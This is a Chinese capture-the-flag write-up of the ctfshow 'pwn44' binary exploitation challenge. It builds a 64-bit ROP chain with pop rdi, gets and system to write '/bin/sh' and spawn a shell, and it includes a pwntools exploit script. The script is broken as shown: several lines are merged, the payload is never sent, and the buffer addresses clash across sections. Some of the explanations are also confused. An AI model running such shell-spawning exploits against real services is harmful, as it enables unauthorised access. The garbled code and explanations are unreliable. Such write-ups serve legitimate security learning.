当前位置: 首页 > news >正文

ctfshow pwn44

目录

1. 分析程序

2. 利用链构造

3. POC编写

3.1. 第一种编写poc

3.2. 第二种编写poc

3.3. 两种构造方式对比

4. 漏洞验证


1. 分析程序

首先检查程序相关保护,发现程序为64位且只开启了一个NX保护

checksec pwn

使用IDA进行逆向分析代码,查看漏洞触发点:

在main函数中,有一个ctfshow函数,这里我们跟进ctfshow()

发现存在一个gets()函数,此函数写法存在漏洞,我们可以输入任意长度的字符串,进而栈溢出。这里需要达到溢出的地址为offect=0x0a+8

  • 当程序执行到 gets() 时:
    • 程序会阻塞等待用户输入
    • 用户通过键盘(或输入重定向)输入数据
    • 它可以无限读取,不会判断上限,可以包含空格,以回车结束读取。
    • 输入的数据会被原样复制buf 指向的内存中

同样的是,程序存在一个函数hint(),且hint()函数只有system系统函数,没有了“/bin/sh”等敏感字符串,这时候我们就要想办法写入“/bin/sh”。

2. 利用链构造

        和上题一样都是存在get()以及system()函数,但是没有“/bin/sh”字符串,因此需要我们进行手动输出,现在需要找到可写段位置,

        先运行程序,查看程序可写段,发现在0x602000-0x603000段存在读写权限(rw),这时我们可以通过get将恶意代码写入这个地址段上,然后getshell。在此段中选取0x602000作为buf2。

64位程序与32位有所不同,具体如下:

  • 当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
  • 当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 “右向左” 放⼊栈中,和32位汇编⼀样。

所以需要通过rdi进行传值,通过ROPgadget工具可直接进行查询,这里我们选取pop_rdi为:0x4007f3

ROPgadget --binary pwn --only "pop|ret" | grep ret

gets函数以及system函数的地址就用objdump进行查询。最后获取gets地址为:0x400530,system地址为:0x400520

objdump -d -j .plt pwn | grep "system"
objdump -d -j .plt pwn | grep "gets"

3. POC编写

3.1. 第一种编写poc

payload = b'a'*offset + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system) + b'aaaa' + p64(buf2)
  • b'a'*offset
    • 长度:0xA(10) + 8 = 18字节。
    • 作用:填充缓冲区,覆盖局部变量等,直到覆盖到返回地址的位置。cyclic生成的序列(如aaaabaaacaaadaaae...)用于在崩溃时确定精确偏移量(调试阶段常用)。这里18字节表示溢出点距离返回地址的偏移。
  • p64(pop_rdi) + p64(buf2)
    • p64(pop_rdi)pop_rdi gadget的地址。执行时,pop rdi指令从栈中弹出一个值到RDI寄存器,然后ret(返回)指令跳转到栈上的下一个地址。
    • p64(buf2)buf2缓冲区的地址(例如,0x601000)。它会被pop rdi弹出到RDI,作为后续函数的第一个参数。
    • 作用:设置RDI寄存器为buf2的地址,为调用gets做准备。
  • p64(gets)
    • gets函数的地址(例如,0x7ffff7e4b100)。
    • 作用:跳转到gets函数。由于RDI已设置为buf2,这相当于调用gets(buf2),从标准输入读取用户输入并写入buf2指向的缓冲区。gets返回时,会从栈上读取下一个返回地址。
  • p64(pop_rdi) + p64(buf2)(第二次出现):
    • 与第一部分相同:再次设置RDI寄存器为buf2的地址。
    • 作用:为调用system做准备,因为system需要RDI存储命令字符串的地址。
  • p64(system)
    • system函数的地址(例如,0x7ffff7e1b2a0)。
    • 作用:跳转到system函数。由于RDI已设置为buf2,这相当于调用system(buf2),执行buf2中的命令(如/bin/sh)。
  • 'aaaa'
    • 4字节的ASCII字符串(0x61616161)。
    • 作用:填充或对齐。在64位系统中,函数返回地址应为8字节,但这里只有4字节,可能导致栈不对齐。这可能是一个错误或简化写法(理想情况应为8字节填充如b'aaaaaaaa')。当system返回时,它会尝试使用这4字节和后续数据作为返回地址,但通常不重要(因为system成功执行后不会返回)。
  • p64(buf2)(第三次出现):
    • buf2的地址(例如,0x601000)。
    • 作用:用途不明确,可能是冗余或错误。在payload末尾,它不会被system使用(因为参数已通过RDI传递)。可能意图是作为system的返回地址,但由于'aaaa'只有4字节,它会被部分覆盖,导致无效地址。

3.2. 第二种编写poc

payload=b'a'*offset + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system)
  • b'a'*offset - 缓冲区填充
    • 作用:覆盖栈空间直到返回地址位置
    • offset:通过调试确定的精确偏移量(使EIP/RIP指向返回地址)
    • 填充字符:任意字符,常用cyclic模式确定偏移
    • 通过调试确定的精确偏移量(使EIP/RIP指向返回地址)
  • p64(pop_rdi) - 第一个gadget
    • 指令:pop rdi; ret
    • 作用:从栈中弹出下一个值到RDI寄存器(x64第一个参数寄存器)
    • 地址:通常来自二进制文件中的gadget(如ROPgadget --binary vuln
  • p64(buf2) - 第一个参数
    • 作用:作为gets()函数的参数(写入目标地址)
    • 要求:可写的内存地址(如.bss段)
    • 示例:0x601000(.bss段地址)
  • p64(gets) - 目标函数#1
    • 函数:gets(char *s)
    • 作用:从stdin读取用户输入(直到换行符)到buf2
    • 危险:不检查边界(允许写入任意数据)
    • 地址:通常来自GOT/PLT(gets@plt
  • p64(pop_rdi) - 第二个gadget
    • 再次使用pop rdi; ret
    • 作用:为system()准备参数
  • p64(buf2) - 第二个参数
    • 作用:作为system()的参数(命令字符串地址)
    • 关键:此时buf2已包含用户输入的命令
  • p64(system) - 目标函数#2
    • 函数:system(const char *command)
    • 作用:执行buf2中的命令
    • 地址:通常来自libc或PLT(system@plt

3.3. 两种构造方式对比

特性

POC1

POC2

关键影响分析

尾部结构

+ b'aaaa' + p64(buf2)

无尾部数据

POC1 有冗余且潜在危险的尾部数据

栈布局大小

多出 12 字节

更紧凑

POC2 payload 更小

system 返回处理

指定了返回地址(但无效)

未指定返回地址

两者在成功执行时无实质区别

栈内存使用

多占用 12 字节栈空间

栈使用更精简

POC2 内存效率更高

实际有效性

尾部数据可能引起崩溃

更简洁可靠

POC2 是更优的实现

4. 漏洞验证

完整poc如下:

from pwn import *
p = remote('192.168.79.135', 10001)offset=0x0a+8
pop_rdi=0x4007f3
buf2=0x602080
gets=0x400530
ret_gadget=0x4004fe
system=0x400520payload=b'a'*offset + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system)
p.interactive()

服务端启动相关程序,挂载至本地的10001端口上:sudo socat TCP4-LISTEN:10001,fork EXEC:./pwn

攻击端运行编写好的程序,可以看到获取了服务端的权限

http://www.dtcms.com/a/508191.html

相关文章:

  • 二层通讯中的MAC地址介绍
  • ppt模板去哪个网站下载百度关键词搜索排行
  • 网站版面设计方案旅行网站开发意义
  • 【Go】--gin的binding内置规则
  • 关于手机电子商务网站建设网站点击排名优化
  • html源码之家在线工具seo
  • 微信克隆人,聊天记录训练专属AI(2.WeClone训练模型)
  • 【深度学习新浪潮】如何用图像生成模型绘制逼真太空卫星?
  • 【生活】风寒感冒和风热感冒
  • 怎么提高网站百度权重合同下载网站
  • AI重塑产业研发:数据驱动下的技术落地与方法论指南
  • 新化网站建设虚拟主机网站怎么上传文件
  • 性能测试 | 性能测试工具JMeter线程组和参数化的使用
  • jianshe导航网站网站关键词不稳定
  • 深圳建设商城网站营销手机系统安装
  • 深度优先遍历策略
  • Xshell效率实战系列一:多服务器基础高效管理——从定位到批量执行
  • 外部资源延迟交付时,如何保证进度
  • 建网站需要买些什么广州微信网站建设公司
  • 天津网站建设开发维护wordpress完整中文免费主题下载
  • wordpress备份整站网络推广如何有效
  • LLM微调尝试——MAC版
  • 告别平台压缩限制:Reubah使用cpolar实现公网访问实测
  • 浏览器怎么做能不拦截网站口碑好的东莞网站建设
  • 做网站可以挣多少钱it行业培训机构哪个好
  • 视频孪生技术:重构电力行业运维与管理的新范式
  • 加密市场再添新势力,BUYCOIN生态代币BCT以多维赋能重构交易所生态价值
  • 乌克兰网站后缀wordpress怎么上传
  • PyTorch学习
  • ESP32学习--制作AI小智